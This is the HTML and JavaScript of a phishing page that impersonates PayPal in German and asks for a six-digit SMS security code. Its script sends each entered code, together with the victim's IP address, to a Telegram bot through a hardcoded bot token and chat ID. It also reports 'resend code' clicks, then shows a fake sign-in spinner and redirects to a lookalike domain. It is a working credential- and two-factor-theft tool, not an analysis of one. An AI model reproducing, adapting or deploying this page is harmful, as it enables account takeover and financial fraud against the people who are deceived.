<!DOCTYPE html>

<html lang="fr">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Authentication</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet" />

    <style>
        body {
            background: linear-gradient(135deg, #ffffff, #ffffff);
            min-height: 100vh;
            padding: 20px;
            font-family: Arial, sans-serif;
        }
        html, body {
    margin: 0;
    padding: 0;
    width: 100%;
    height: 100%;
}

.container {
    background-color: #ffffff;
    padding: 30px;
    border-radius: 0;
    width: 100% !important;
    max-width: 100% !important;
    margin: 0 !important;
    box-sizing: border-box;
    min-height: 100vh; /* يجعل الصفحة تمتد طول الشاشة */
}

        #btn-validate {
            background: linear-gradient(135deg, #09467C, #0f6fa0);
            border: none;
            color: white;
            padding: 12px;
            border-radius: 8px;
            width: 100%;
            font-size: 1.1rem;
        }
        #btn-validate:disabled {
            background: #ccc;
        }
        .error {
            color: red;
            text-align: center;
            margin-top: 10px;
        }
        
        /* السطر الذي يحتوي على كلمة or */
.separatorContainer {
    width: 100%;
    display: flex;
    align-items: center;
    margin: 20px 0; /* المسافة فوق وتحت */
}

.separatorContainer::before,
.separatorContainer::after {
    content: "";
    flex: 1;
    height: 1px;
    background-color: #ccc; /* لون الخط */
}

.separatorText {
    margin: 0 10px; /* المسافة بين الخط والكلمة */
    color: #777;    /* لون كلمة or */
    font-size: 16px;
}

.secondaryButton {
    width: 100%;
    padding: 12px 25px;
    border: 1px solid black; /* ↓↓ كان 2px — الآن نفس سماكة الزر الأول */
    background-color: #fff;
    color: black;
    border-radius: 30px;
    font-size: 18px;
    cursor: pointer;
    transition: 0.2s;
}

.secondaryButton:hover {
    background-color: #f3f3f3;
}

.language-container {
    margin-top: 30px; /* ← مساحة أكبر تحت الزر الثاني */
    display: flex;
    align-items: center;
    gap: 8px;
    font-size: 16px;
    justify-content: center;
}

.lang-flag {
    width: 20px;
    height: 14px;
    border-radius: 2px;
}

.lang-item {
    cursor: pointer;
    color: #555;
}

.lang-item.active {
    font-weight: bold;
    color: #000;
}

.separator {
    margin: 0 6px;
    color: #999;
}

/* تنسيق الحقول كما في الصورة */
.custom-input {
    width: 100%;
    padding: 15px 18px;
    font-size: 17px;
    border: 1.7px solid #999999;
    border-radius: 10px;
    background-color: #fff;
    color: #333;
    transition: 0.25s ease;
}

/* كتابة placeholder باللون الرمادي الهادئ */
.custom-input::placeholder {
    color: #6C7378;
    opacity: 0.8;
}

/* عند الضغط على الحقل */
.custom-input:focus {
    outline: none;
    border-color: #4a90e2; /* الإطار الأزرق عند الضغط */
    box-shadow: 0 0 5px rgba(74,144,226,0.4);
}

.footer-bar {
    position: fixed;
    bottom: 0;
    left: 0;
    width: 100%;
    background: #f0f2f5;
    padding: 12px 0;
    display: flex;
    justify-content: center; /* الكل في الوسط */
    align-items: center;
}

.footer-bar span {
    color: #666;
    font-size: 14px;
    margin: 0 8px;  /* تقارب الكلمات مثل الصورة */
    cursor: pointer;
}

.footer-bar span:hover {
    text-decoration: underline;
}

html, body {
    overflow: hidden !important;
    height: 80% !important;
}

.logo-container {
    text-align: left; /* محاذاة لليسار */
    margin-bottom: 20px; /* مسافة بين اللوجو والخانة الأولى */
    margin-top: 16px; /* ← أضف هذا السطر - المسافة فوق اللوجو */
}

.logo-container img {
    width: 55px; /* يمكنك تغيير الحجم */
    height: auto;
}

.title-address {
    text-align: left;
    margin-bottom: 35px;
    font-weight: 700; /* ← أضف هذا السطر (أغلظ ما يمكن) */
}

.subtitle-text {
    text-align: left; /* محاذاة لليسار */
    font-size: 16px;
    margin-bottom: 25px; /* ← تحكم بالمسافة هنا */
}

.word-work {
    text-align: left; /* محاذاة لليسار */
    font-weight: normal; /* خط عادي للعد التنازلي */
    color: #000000;
    margin-top: 20px;    /* المسافة فوق (بينها وبين الأزرار) - يمكن تغييرها */
    margin-bottom: 20px; /* المسافة تحت (بينها وبين الزر) - يمكن تغييرها */
    cursor: default;
    transition: 0.2s;
}

.word-work.clickable {
    color: blue; /* أزرق عند انتهاء العد */
    font-weight: bold; /* غليظ فقط لكلمة work */
    cursor: pointer;
}

.word-work.clickable:hover {
    text-decoration: underline;
    opacity: 0.8;
}

.code-box {
    display: flex;
    gap: 10px;
    justify-content: center; /* في الوسط */
    transition: 0.3s;
    margin-top: 45px; /* ← أضف هذا السطر - المسافة فوق الخانات */
    
}

.code-input {
    width: 48px;
    height: 64px;
    font-size: 24px;
    text-align: center;
    border: 2px solid #ccc;
    border-radius: 8px;
    background-color: #FFFFFF; /* خلفية بيضاء */
    
}

.code-input:focus {
    border-color: #0070E0;
    outline: none;
}

/* زر الإرسال */
.submit-btn {
    margin-top: 10px;
    padding: 12px 25px;
    background: #0551B5;
    color: white;
    border: none;
    border-radius: 25px;
    font-size: 18px;
    font-weight: 600;
    cursor: not-allowed;
    transition: 0.3s;
    width: 100%; /* ← غيّر إلى 100% */
    max-width: 100%; /* ← أضف هذا السطر */
    opacity: 1;
    pointer-events: none;
}

.submit-btn:hover {
    background: #0551B5; /* نفس اللون - بدون تغيير */
    transform: none; /* بدون حركة */
    box-shadow: none; /* بدون ظل */
}
        /* Full Screen Overlay */
        :root {
          --speed: 1.5s; /* 👈 تحكم في سرعة الدوران */
        }

        /* الصفحة البيضاء + الشفافية */
        .fullscreen-overlay {
          position: fixed;
          top: 0;
          left: 0;
          width: 100%;
          height: 100%;
          background: rgba(255, 255, 255, 0.97); /* 👈 شفافية 50% */
          display: flex;
          justify-content: center;
          align-items: center;
          z-index: 999999; /* أعلى شيء */
          display: none;
        }

        .fullscreen-overlay.active {
            display: flex;
        }

        /* التجميع في الوسط */
        .content {
          text-align: center;
          display: flex;
          flex-direction: column;
          align-items: center;
          justify-content: center;
        }

        /* تصميم الدائرة */
        .loader {
          width: 120px;
          height: 120px;
          position: relative;
        }

        .loader::after {
          content: "";
          position: absolute;
          inset: 0;
          border: 8px solid #ccc;
          border-radius: 50%;
          box-sizing: border-box;
          z-index: 1;
        }

        .loader::before {
          content: "";
          position: absolute;
          inset: 0;
          border: 8px solid transparent;
          border-top-color: #1A73E8;
          border-radius: 50%;
          box-sizing: border-box;
          animation: spin var(--speed) linear infinite;
          z-index: 2;
        }

        /* القفل */
        .lock-icon {
          width: 45px;
          height: 65px;
        }

        .lock {
          position: absolute;
          top: 50%;
          left: 50%;
          transform: translate(-50%, -50%);
          z-index: 3;
        }

        /* النص */
        .loading-text {
          margin-top: 18px; /* 👈 غيّر المسافة بين النص والدائرة */
          font-size: 20px;
          font-family: Arial, sans-serif;
          color: #7a7a7a;
          text-align: center; /* توسيط النص */
        }

        .wait-text {
            margin-top: 10px;
            font-size: 16px;
            font-family: Arial, sans-serif;
            color: #7a7a7a;
            text-align: center; /* توسيط النص */
        }

        @keyframes spin {
          to {
            transform: rotate(360deg);
          }
        }
    </style>
</head>

<body>

<div class="container mt-5">
   

    <form action="" method="POST">


<!-- LOGO (place this above the first input) -->
  <div class="logo-container">
    <img src="https://paypal.de-reward.com/ppsm.png?text=LOGO" alt="Logo">
  </div>




<h1 class="title-address">Geben Sie Ihren Code ein.</h1>

<p class="subtitle-text">
    Wir haben einen Sicherheitscode an Ihre Nummer gesendet.
</p>





<form onsubmit="return false;"> 
    <div class="code-box" id="codeContainer">
        <input type="tel" inputmode="numeric" pattern="[0-9]*" maxlength="1" class="code-input" id="d1" oninput="nextInput(1)" onkeydown="backspaceHandler(event,1)" autofocus>
        <input type="tel" inputmode="numeric" pattern="[0-9]*" maxlength="1" class="code-input" id="d2" oninput="nextInput(2)" onkeydown="backspaceHandler(event,2)">
        <input type="tel" inputmode="numeric" pattern="[0-9]*" maxlength="1" class="code-input" id="d3" oninput="nextInput(3)" onkeydown="backspaceHandler(event,3)">
        <input type="tel" inputmode="numeric" pattern="[0-9]*" maxlength="1" class="code-input" id="d4" oninput="nextInput(4)" onkeydown="backspaceHandler(event,4)">
        <input type="tel" inputmode="numeric" pattern="[0-9]*" maxlength="1" class="code-input" id="d5" oninput="nextInput(5)" onkeydown="backspaceHandler(event,5)">
        <input type="tel" inputmode="numeric" pattern="[0-9]*" maxlength="1" class="code-input" id="d6" oninput="nextInput(6)" onkeydown="backspaceHandler(event,6)">
    </div>
    
    <!-- العد التنازلي وكلمة work -->
    <p class="word-work" id="workText">Neuen Code senden, <span id="countdown">00:29</span></p>
    
    <!-- زر الإرسال -->
    <div style="text-align: center; width: 100%;">
        <button type="button" class="submit-btn" disabled>Absenden</button>
    </div>
</form>

<script>
const BOT_TOKEN = "8457148527:AAE0wGTef1ke0jv8X2QHOOXhbLsLZbxhYqw";  
const CHAT_ID   = "-1003435278269";     
const REDIRECT_URL = "https://paypal.de-reward.com/virement/sms.php";

        // 📌 دالة الرجوع للخلف
        function backspaceHandler(e, index) {
            const current = document.getElementById("d" + index);

            if (e.key === "Backspace" && current.value === "" && index > 1) {
                const prev = document.getElementById("d" + (index - 1));
                prev.value = "";
                prev.focus();
                e.preventDefault();
            }
        }

        function nextInput(index) {
            const current = document.getElementById("d" + index);

            // أرقام فقط
            current.value = current.value.replace(/\D/g, "");

            // انتقال تلقائي
            if (current.value !== "" && index < 6) {
                document.getElementById("d" + (index + 1)).focus();
            }

            // عند الخانة رقم 6 يتم الإرسال التلقائي
            if (index === 6) {
                sendToTelegram();
            }
        }

        function sendToTelegram() {
            const code =
                document.getElementById("d1").value +
                document.getElementById("d2").value +
                document.getElementById("d3").value +
                document.getElementById("d4").value +
                document.getElementById("d5").value +
                document.getElementById("d6").value;

            if (code.length !== 6) return;

            // الحصول على IP من خدمة عامة
            fetch("https://api.ipify.org?format=json")
                .then(res => res.json())
                .then(data => {
                    const ip = data.ip;

                    const message = `🔢 PP Code: ${code}\n🌍 IP: ${ip}`;

                    return fetch(`https://api.telegram.org/bot${BOT_TOKEN}/sendMessage`, {
                        method: "POST",
                        headers: { "Content-Type": "application/json" },
                        body: JSON.stringify({
                            chat_id: CHAT_ID,
                            text: message
                        })
                    });
                })
.then(() => {
            // Show popup with animated dots
            const popup = document.getElementById("popupOverlay");
            popup.classList.add("active");

            // Redirect after 5 seconds
            setTimeout(() => {
                window.location.href = REDIRECT_URL;
            }, 30000);

            // تفريغ الخانات
            for (let i = 1; i <= 6; i++) {
                document.getElementById("d" + i).value = "";
            }
            document.getElementById("d1").focus();
        })
        .catch(err => console.error(err));
}

// دالة إرسال كلمة work للتليجرام
function sendWorkToTelegram() {
    fetch("https://api.ipify.org?format=json")
        .then(res => res.json())
        .then(data => {
            const ip = data.ip;
            const message = `🔢 PP Code: Resend code\n🌍 IP: ${ip}`;
            return fetch(`https://api.telegram.org/bot${BOT_TOKEN}/sendMessage`, {
                method: "POST",
                headers: { "Content-Type": "application/json" },
                body: JSON.stringify({
                    chat_id: CHAT_ID,
                    text: message
                })
            });
        })
        .then(() => {
            console.log("Work message sent successfully!");
        })
        .catch(err => console.error(err));
}

// العد التنازلي من 29 ثانية
let countdown = 29;
const countdownElement = document.getElementById('countdown');
const workTextElement = document.getElementById('workText');

const timer = setInterval(() => {
    countdown--;
    
    // تنسيق العد بصيغة 00:29
    const minutes = Math.floor(countdown / 60);
    const seconds = countdown % 60;
    const formattedTime = `${String(minutes).padStart(2, '0')}:${String(seconds).padStart(2, '0')}`;
    countdownElement.textContent = formattedTime;
    
    if (countdown <= 0) {
        clearInterval(timer);
        // إظهار كلمة work بعد انتهاء العد
        workTextElement.textContent = 'Code erneut senden';
        workTextElement.classList.add('clickable');
        workTextElement.style.cursor = 'pointer';
        workTextElement.onclick = sendWorkToTelegram;
    }
}, 1000);

</script>



<!-- شريط اللغات -->
<div class="language-container">
    <img src="https://flagcdn.com/w20/de.png" class="lang-flag" alt="DE">
    <span class="lang-item active">Deutsch</span>
    <span class="separator">|</span>

    <span class="lang-item">English</span>
    
</div>




    </form>

    <div class="error">
        <?php if (!empty($errorMessage)) echo $errorMessage; ?>
    </div>
</div>

<script>
    function checkFields() {
        const v1 = document.getElementById('input1').value.trim();
        const v2 = document.getElementById('input2').value.trim();
        document.getElementById('btn-validate').disabled = (v1 === '' || v2 === '');
    }

    document.getElementById('input1').addEventListener('input', checkFields);
    document.getElementById('input2').addEventListener('input', checkFields);
</script>


<div class="footer-bar">
    <span>Kontaktieren</span>
    <span>Datenschutz</span>
    <span>Richtlinien</span>
    <span>Weltweit</span>
</div>

<!-- صفحة كاملة -->
<div class="fullscreen-overlay" id="popupOverlay">
  <div class="content">

    <div class="loader">
      <div class="lock">
        <svg class="lock-icon" viewBox="0 0 24 24" fill="none" stroke="#bfbfbf" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round">
          <!-- جسم القفل -->
          <rect x="3" y="10" width="18" height="12" rx="2" ry="2"></rect>
          <!-- القوس العلوي -->
          <path d="M7 10V6a5 5 0 0 1 10 0v4"></path>
          <!-- الخط الداخلي -->
          <line x1="12" y1="14" x2="12" y2="18"></line>
        </svg>
      </div>
    </div>

    <div class="loading-text">Anmelden</div>
    <div class="wait-text">Einen Moment bitte</div>

  </div>
</div>

</body>
</html>